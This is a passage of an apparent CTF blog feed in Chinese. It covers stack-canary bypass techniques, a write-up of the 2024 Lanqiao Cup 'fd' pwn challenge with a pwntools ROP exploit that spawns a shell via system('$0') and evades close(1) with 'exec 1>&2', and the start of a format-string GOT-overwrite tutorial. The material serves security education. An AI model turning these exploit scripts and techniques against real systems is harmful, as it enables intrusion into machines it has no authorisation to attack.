number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">/* Bit 0: X86_FEATURE_1_IBT.     Bit 1: X86_FEATURE_1_SHSTK.   */</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> feature_1<span class="token punctuation">;</span>  <span class="token keyword">int</span> __glibc_unused1<span class="token punctuation">;</span>  <span class="token comment">/* Reservation of some values for the TM ABI.  */</span>  <span class="token keyword">void</span> <span class="token operator">*</span>__private_tm<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">/* GCC split stack support.  */</span>  <span class="token keyword">void</span> <span class="token operator">*</span>__private_ss<span class="token punctuation">;</span>  <span class="token comment">/* The lowest address of shadow stack,  */</span>  <span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token keyword">long</span> <span class="token keyword">int</span> ssp_base<span class="token punctuation">;</span>  <span class="token comment">/* Must be kept even if it is no longer used by glibc since programs,     like AddressSanitizer, depend on the size of tcbhead_t.  */</span>  __128bits __glibc_unused2<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">aligned</span> <span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">void</span> <span class="token operator">*</span>__padding<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token class-name">tcbhead_t</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>生成随机数 Canary 的位置：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token class-name">uintptr_t</span> stack_chk_guard <span class="token operator">=</span> <span class="token function">_dl_setup_stack_chk_guard</span><span class="token punctuation">(</span>_dl_random<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>当程序创建线程的时候，会顺便创建一个 TLS 用来存储线程私有的数据，该 TLS 也会存储 Canary 的值，而 TLS 会保存在栈的高地址处 <strong>（这也是为什么说同一个进程中的不同线程的 Canary 是相同的）</strong></p></blockquote><p>因此，我们只要覆盖 TLS 中 Canary 的值，那么整个程序的 Canary 的值就是由我们来定的了</p><p>在子线程中可以通过如下指令查看 TLS 在栈上的首地址：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> x/x pthread_self<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack10.png" alt="【starctf2018】babystack10.png"></p><blockquote><p>在 64 位程序中，Canary 与 TLS 首地址偏移 28h</p><p>在 32 位程序中，Canary 与 TLS 首地址偏移 14h</p></blockquote><p>具体例题见本站的《<a href="11e500a1.html">【Star Ctf 2018】babystack</a>》</p><hr><h2 id="数组下标越界绕过-Canary"><a href="#数组下标越界绕过-Canary" class="headerlink" title="数组下标越界绕过 Canary"></a>数组下标越界绕过 Canary</h2><blockquote><p>当程序中存在数组，并且没有对数组的边界进行检查时，可以通过使数组的下标越界来直接修改返回地址，从而绕过 Canary</p><p>使用条件：<br><mark>程序的栈中存在数组</mark></p></blockquote><p>假设栈中的结构如下图：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90starctf2018%E3%80%91babystack15.png" alt="【starctf2018】babystack15.png"></p><p>其中 <code>arr[]</code> 是一个长度为 4 的数组，正常来说，数组元素只有 <code>arr[0] ~ arr[3]</code></p><p>由于数组本身也是利用指针寻址的，例如 <code>uint_32</code> 型的数组 <code>a[]</code> 中，<code>a[i]</code> 与 <code>*(a + i * 4)</code> 本质上是一样的</p><p>因此如果没有对数组的边界进行检查，那么上图中的 <code>arry[7]</code> 就代表栈上的返回地址了，即使 <code>arry[7]</code> 在数组 <code>arry[]</code> 中下标越界</p><p>具体例题见本站的《<a href="35b1366d.html">【wustctf 2020】name_your_cat</a>》</p><hr><h2 id="C-异常机制绕过-Canary"><a href="#C-异常机制绕过-Canary" class="headerlink" title="C++ 异常机制绕过 Canary"></a>C++ 异常机制绕过 Canary</h2><p>参考文章：<a href="https://www.anquanke.com/post/id/89855%E3%80%91">Shanghai-DCTF-2017 线下攻防Pwn题 - 安全客，安全资讯平台</a></p>]]></content>
    
    
    <summary type="html">主要介绍里一些如何 Bypass 一些常见安全机制的方法，例如绕过 Canary、PIE 等等</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CTF" scheme="https://www.uf4te.cn/tags/CTF/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="Bypass" scheme="https://www.uf4te.cn/tags/Bypass/"/>
    
  </entry>
  
  <entry>
    <title>【蓝桥杯 2024】fd</title>
    <link href="https://www.uf4te.cn/posts/7895a21b.html"/>
    <id>https://www.uf4te.cn/posts/7895a21b.html</id>
    <published>2024-05-11T12:52:14.000Z</published>
    <updated>2025-10-29T08:20:30.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p>利用 <code>system(&quot;$0&quot;)</code> 这种不常见的方式获取 shell</p></li><li><p>利用 <code>exec 1&gt;&amp;2</code> 重定向绕过 <code>close(1)</code></p></li></ul><hr><p><a href="https://match.ichunqiu.com/without">（2024年4月27日）【蓝桥杯2024】fd</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>分析程序保护：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd1.png" alt="PWN-蓝桥杯2024_fd1.png"></p><p>IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd2.png" alt="PWN-蓝桥杯2024_fd2.png"></p><p>程序逻辑是比较简单的，首先向 <code>info</code> 所在地址输入 0xE 的长度</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd5.png" alt="PWN-蓝桥杯2024_fd5.png"></p><p><code>info</code> 位于 BSS 段上</p><p>然后 <code>buf</code> 处存在明显溢出：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd6.png" alt="PWN-蓝桥杯2024_fd6.png"></p><p>并且程序中存在 <code>system()</code> 函数：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd7.png" alt="PWN-蓝桥杯2024_fd7.png"></p><p>但没有 <code>&quot;/bin/sh&quot;</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd8.png" alt="PWN-蓝桥杯2024_fd8.png"></p><p>因此，很自然地想到通过 <code>info</code> 往 BSS 段写入 <code>&quot;/bin/sh&quot;</code> 然后溢出 <code>buf</code> 构造 <code>system(&quot;/bin/sh&quot;)</code></p><p>但如果真是这样，就没必要有这篇文章了哈哈哈</p><p>因为发现在输入 <code>buf</code> 后会执行一个 <code>check()</code> 函数</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd3.png" alt="PWN-蓝桥杯2024_fd3.png"></p><p>这里会检测我们输入到 <code>info</code> 处的数据，不能包含 <code>&#39;b&#39;</code>、<code>&#39;i&#39;</code>、<code>&#39;n&#39;</code>、<code>&#39;/&#39;</code>、<code>&#39;s&#39;</code></p><p>同时也不能存在连续三个字符为 <code>&quot;cat&quot;</code></p><p>因此，我们构造 <code>system(&quot;/bin/sh&quot;)</code>、<code>system(&quot;sh&quot;)</code>、<code>system(&quot;cat flag&quot;)</code> 都是行不通的</p><p>所以这里要用到一个比较少见的获取 shell 的方式：<code>system(&quot;$0&quot;)</code></p><blockquote><p><code>$0</code> 是 Linux shell 中的一个环境变量，指的是 shell 本身的文件名，因此 <code>system(&quot;$0&quot;)</code> 的功能等价于 <code>system(&quot;/bin/sh&quot;)</code></p><p>另外，还有 <code>$1</code> 和 <code>$2</code> 等：</p><p><code>$1</code> 是传递给该 shell 脚本的第一个参数</p><p><code>$2</code> 是传递给该 shell 脚本的第二个参数</p></blockquote><p>但这样也还没有结束，因为即使我们绕过了检测，这个函数的返回值是 <code>close(1)</code></p><p>先来看看 <code>close()</code> 是个什么函数：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd4.png" alt="PWN-蓝桥杯2024_fd4.png"></p><p>这里的 <code>fd</code> 明显是文件描述符，也就是关闭了文件描述符 1 的功能</p><blockquote><p>Linux 下的三种文件描述符：</p><p><code>fd = 0</code>：标准输入文件 <code>stdin</code><br><code>fd = 1</code>：标准输出文件 <code>stdout</code><br><code>fd = 2</code>：标准错误输出文件 <code>stderr</code></p></blockquote><p>因此这里是关闭了标准输出的功能</p><p>在获取 shell 后的表现是这样的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd9.png" alt="PWN-蓝桥杯2024_fd9.png"></p><p>可以看到，我们已经通过构造 <code>system(&quot;$0&quot;)</code> 获取了 shell，但是 <code>ls</code>、<code>cat</code> 等指令是无法使用的</p><p>因为这些指令都需要使用到 Linux 的标准输出，也就是 <code>fd = 1</code>，而这里使用 <code>close(1)</code> 关闭了标准输出</p><p>但是可以通过重定向来绕过，使用如下命令实现重定向：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">exec</span> <span class="token operator"><span class="token file-descriptor important">1</span>></span><span class="token file-descriptor important">&amp;2</span>   <span class="token comment"># 也可以简写为：exec >&amp;2</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd10.png" alt="PWN-蓝桥杯2024_fd10.png"></p><p>当然，我们也可以不使用 <code>exec 1&gt;&amp;2</code>，而是直接执行指令，例如：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">whoami</span> <span class="token operator"><span class="token file-descriptor important">1</span>></span><span class="token file-descriptor important">&amp;2</span>   <span class="token comment"># 也可以简写为：whoami >&amp;2</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd11.png" alt="PWN-蓝桥杯2024_fd11.png"></p><blockquote><p>一些重定向的知识：</p><p><code>1&gt;&amp;2</code>：把标准输出重定向到标准错误<br><code>2&gt;&amp;1</code>：把标准错误输出重定向到标准输出<br><code>&amp;&gt;filename</code>：把标准输出和标准错误输出都重定向到文件 filename 中</p><p>例如常见的重定向：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">"xxx"</span> <span class="token operator">></span> filename.txt <span class="token comment"># 把 "xxx" 写入到 filename.txt 文件中</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre></blockquote><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./pwn"</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span><span class="token comment"># 远程程序的 IP 和端口号</span>    io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"47.93.142.240"</span><span class="token punctuation">,</span> <span class="token number">44180</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b"restricted stack.\n"</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'$0\x00'</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>info_addr <span class="token operator">=</span> <span class="token number">0x601090</span>pop_rdi_ret <span class="token operator">=</span> <span class="token number">0x400933</span>ret <span class="token operator">=</span> <span class="token number">0x4005ae</span>system_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">"system"</span><span class="token punctuation">]</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"system_plt --->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x20</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi_ret<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>info_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>ret<span class="token punctuation">)</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token comment"># debug()</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/PWN-%E8%93%9D%E6%A1%A5%E6%9D%AF2024_fd12.png" alt="PWN-蓝桥杯2024_fd12.png"></p>]]></content>
    
    
    <summary type="html">思路是常见的 ROP，但是限制了 system() 的参数，无法使用 &quot;/bin/sh&quot;、&quot;sh&quot;、&quot;cat flag&quot; 之类的操作，但可以通过 system(&quot;$0&quot;) 实现相同的效果，同时利用 exec 1&gt;&amp;2 重定向绕过 close(1)</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>【你想有多PWN】fmt_test2</title>
    <link href="https://www.uf4te.cn/posts/ba83bd5d.html"/>
    <id>https://www.uf4te.cn/posts/ba83bd5d.html</id>
    <published>2024-04-22T11:39:42.000Z</published>
    <updated>2025-10-29T08:20:32.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p>利用格式化字符串泄露栈中的数据，判断输入的数据位于栈空间的哪个位置</p></li><li><p><mark>在程序开启 PIE 时，利用格式化字符串漏洞泄露栈上的真实返回地址，然后根据 ELF 文件中函数的偏移推算出其他函数的真实地址</mark></p></li><li><p>根据已经泄露的真实地址，利用 libc 偏移计算 <code>system()</code> 和 <code>b&#39;/bin/sh&#39;</code> 的地址</p></li><li><p>使用 Pwntools 中的 <code>fmtstr_payload()</code> 构造格式化字符串的利用，将 <code>printf()</code> 的 GOT 表地址修改为 <code>system_plt</code></p></li><li><p><mark>注意 32 位程序与 64 位程序在使用 <code>%参数顺序$格式化说明符</code> 进行地址泄露时的区别</mark></p></li></ul><hr><h1 id="fmt-str-level-1-x86"><a href="#fmt-str-level-1-x86" class="headerlink" title="fmt_str_level_1_x86"></a>fmt_str_level_1_x86</h1><p>源代码如下：（这里 gcc 编译时使用 <code>-z lazy</code> 来实现 Partial RELRO）</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token keyword">int</span> <span class="token function">init_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdin</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">dofunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> buf<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span> <span class="token punctuation">;</span>    <span class="token keyword">while</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"input:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span>buf<span class="token punctuation">,</span><span class="token number">0x100</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strncmp</span><span class="token punctuation">(</span>buf<span class="token punctuation">,</span><span class="token string">"quit"</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token function">printf</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">init_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">dofunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//gcc fmt_str_level_1.c -z lazy -o fmt_str_level_1_x64</span><span class="token comment">//gcc -m32 fmt_str_level_1.c -z lazy -o fmt_str_level_1_x86</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>还是老规矩，先熟悉一下 IDA：（虽然给了源代码 hhh）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_1.png" alt="你想有多PWN-fmt_test2_1.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_2.png" alt="你想有多PWN-fmt_test2_2.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_3.png" alt="你想有多PWN-fmt_test2_3.png"></p><p>明显在 <code>printf(buf)</code> 处存在格式化字符串漏洞</p><p>看一眼保护，32 位小端序，RELRO 开了一半，其余全开：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_4.png" alt="你想有多PWN-fmt_test2_4.png"></p><blockquote><p>由于这里有个 while 循环一直调用 printf 函数，且 RELRO 为 Partial RELRO，因此可以考虑将 <code>printf()</code> 的 GOT 表地址修改为 <code>system_plt</code>，然后调用 <code>printf()</code> 输出 <code>b&#39;/bin/sh&#39;</code> 即可实现 <code>system(&quot;/bin/sh&quot;)</code></p></blockquote><p>但是由于程序开启了 PIE 地址随机化，因此 <code>printf()</code> 的 GOT 表地址未知，也不知道其他任何函数的真实地址</p><p>所以首先思路就是通过格式化字符串漏洞来泄露一些地址</p><hr><h2 id="定位并泄露栈中的数据"><a href="#定位并泄露栈中的数据" class="headerlink" title="定位并泄露栈中的数据"></a>定位并泄露栈中的数据</h2><p>首先 gdb 调试 <code>fmt_str_level_1_x86</code> 程序：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_5.png" alt="你想有多PWN-fmt_test2_5.png"></p><p>执行到 <code>read()</code> 输入的地方，输入：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">aaaa_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p_<span class="token operator">%</span>p<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_6.png" alt="你想有多PWN-fmt_test2_6.png"></p><p>执行到 <code>printf()</code> 处观察输出结果：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_7.png" alt="你想有多PWN-fmt_test2_7.png"></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">aaaa_0x5655700f_0x4_0x565562e5_0xf7ffd000_0x20_</span><span class="token punctuation">(</span>nil<span class="token punctuation">)</span>_0x61616161_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025���T���<span class="token number">4</span>���������tV��\�������<span class="token number">0x5655634f</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>可以看到 <code>0x61616161</code> 就是刚刚输入的 <code>aaaa</code>，位于第 7 个位置</p><p>可以通过查看栈来验证一下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_8.png" alt="你想有多PWN-fmt_test2_8.png"></p><blockquote><p>由于需要泄露真实地址，这里选择泄露栈上的返回地址（<strong>通常选择返回地址，不会受栈中的数据影响</strong>）</p></blockquote><p>找到 EBP 所在位置，由于栈空间比较长，这里使用：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb<span class="token punctuation">)</span> stack <span class="token number">100</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_9.png" alt="你想有多PWN-fmt_test2_9.png"></p><p>可以看到 EBP 位于 <code>0xffffcdb8</code> 地址处，栈的返回地址紧随其后位于 <code>0xffffcdbc</code> 地址处，得知返回地址 <code>main+30</code> 的地址为：<code>0x5655638e</code></p><blockquote><p>注意：由于程序开启了 PIE，这里看到的 <code>main+30</code> 的地址其实是随机的，不过，不论地址怎么变，栈的结构是不会变的（<em>虽然地址是随机的，但由于操作系统的分页管理机制，地址的最低三位通常是不变的</em>）</p><p>因此，可以通过计算 <code>main+30</code> 在栈中的位置，然后利用格式化字符串漏洞将其泄露出来</p></blockquote><p>刚刚得知输入的 <code>aaaa</code> 位于栈中的第 7 个位置，存放在地址 <code>0xffffccac</code> 处</p><p>计算可知 <code>main+30</code> 所在位置与 <code>aaaa</code> 相距：<code>(0xffffcdbc - 0xffffccac) / 4 = 68</code></p><p>所以 <code>main+30</code> 在栈中位于第 <code>68 + 7 = 75</code> 个位置，构造 <code>printf(%75$p)</code> 即可将其泄露</p><p>验证一下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_10.png" alt="你想有多PWN-fmt_test2_10.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_11.png" alt="你想有多PWN-fmt_test2_11.png"></p><p>泄露出来的地址与 <code>main+30</code> 的地址 <code>0x5655638e</code> 一致</p><p>于是，将 <code>printf(%75$p)</code> 泄露出来的地址减去 30 就可以得到真实的 main 函数地址了：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'input:\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'%75$p'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>ret_main_addr <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ret_main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ret_main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_addr <span class="token operator">=</span> ret_main_addr <span class="token operator">-</span> <span class="token number">30</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span><span class="token 